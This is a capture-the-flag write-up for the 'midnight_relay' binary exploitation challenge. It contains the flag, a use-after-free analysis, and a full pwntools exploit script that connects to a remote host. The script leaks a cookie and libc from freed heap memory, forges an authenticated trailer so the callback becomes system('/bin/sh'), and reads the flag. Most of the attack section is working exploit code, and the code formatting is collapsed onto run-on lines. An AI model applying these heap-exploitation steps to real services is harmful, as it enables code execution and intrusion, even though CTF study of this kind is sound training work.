Category: Binary Exploitation
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}
Challenge Description
Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338
Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.
Analysis
Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).
forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:
t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300fft[3] = ((rand()<<32) ^ rand())t[2] = ptrt[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).
Vulnerabilities:
-
Use-after-free:
shredfrees chunk but does not clearslots[idx].ptr -
UAF read/write:
observe/tunecan still access freed memory -
Trailer rewrite:
tunecan rewrite all trailer fields (size+0x20window)
Exploitation
-
Forge chunk 0 with
/bin/sh\x00at chunk start -
Leak
ptr+cookiefrom trailer (observe(0, size, 0x20)) -
Free large chunk (size
0x500) and leak unsorted-bin pointer at offset0x20 -
Compute libc base:
libc_base = unsorted_fd - 0x203B20 -
Restore
/bin/sh\x00at chunk start (free clobbers first bytes) -
Forge valid trailer so decoded callback =
system -
syncwith correct token, thenfire=>system('/bin/sh')
# !/usr/bin/env python3from pwn import *
HOST, PORT = '20.193.149.152', 1338CONST = 0x48454C494F5300FFINIT_EPOCH = 0x6B1D5A93MAIN_ARENA_PLUS60 = 0x203B20SYSTEM_OFF = 0x58750
io = remote(HOST, PORT)io.recvline()
epoch = INIT_EPOCH
def key(payload: bytes) -> int: global epoch x = epoch for b in payload: x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF return x & 0xFF
def bump(op: int): global epoch epoch ^= ((op << 9) | 0x5F) epoch &= 0xFFFFFFFF
def send_pkt(op: int, payload: bytes = b''): io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)
def forge(idx: int, size: int, tag: bytes): send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag) bump(0x11)
def tune(idx: int, off: int, data: bytes): send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data) bump(0x22)
def observe(idx: int, off: int, n: int) -> bytes: send_pkt(0x33, p8(idx) + p16(off) + p16(n)) d = io.recvn(n, timeout=2) if len(d) != n: raise EOFError(f"short observe: expected {n}, got {len(d)}") bump(0x33) return d
def shred(idx: int): send_pkt(0x44, p8(idx)) bump(0x44)
def sync(idx: int, token: int): send_pkt(0x55, p8(idx) + p32(token)) bump(0x55)
def fire(idx: int): send_pkt(0x66, p8(idx)) bump(0x66)
# 1) Allocate command chunk and leak traileridx = 0size = 0x500forge(idx, size, b'/bin/sh\x00')tr = observe(idx, size, 0x20)t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]cookie = t0 ^ ((ptr + size) >> 12) ^ CONST
# 2) Leak libc from unsorted binforge(1, 0x80, b'G')shred(idx)unsorted_fd = u64(observe(idx, 0x20, 8))libc_base = unsorted_fd - MAIN_ARENA_PLUS60system = libc_base + SYSTEM_OFF
# Restore command string (free metadata clobbered chunk start)tune(idx, 0, b'/bin/sh\x00')
# 3) Forge authenticated trailer for callback=systemT = ptr + sizeft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)ft3 = 0ft2 = ptrft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))
# 4) Arm and triggertoken = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFFsync(idx, token)fire(idx)
# 5) Read flagio.sendline(b'cat /app/flag.txt; exit')print(io.recvrepeat(2).decode('latin-1', errors='ignore'))io.close()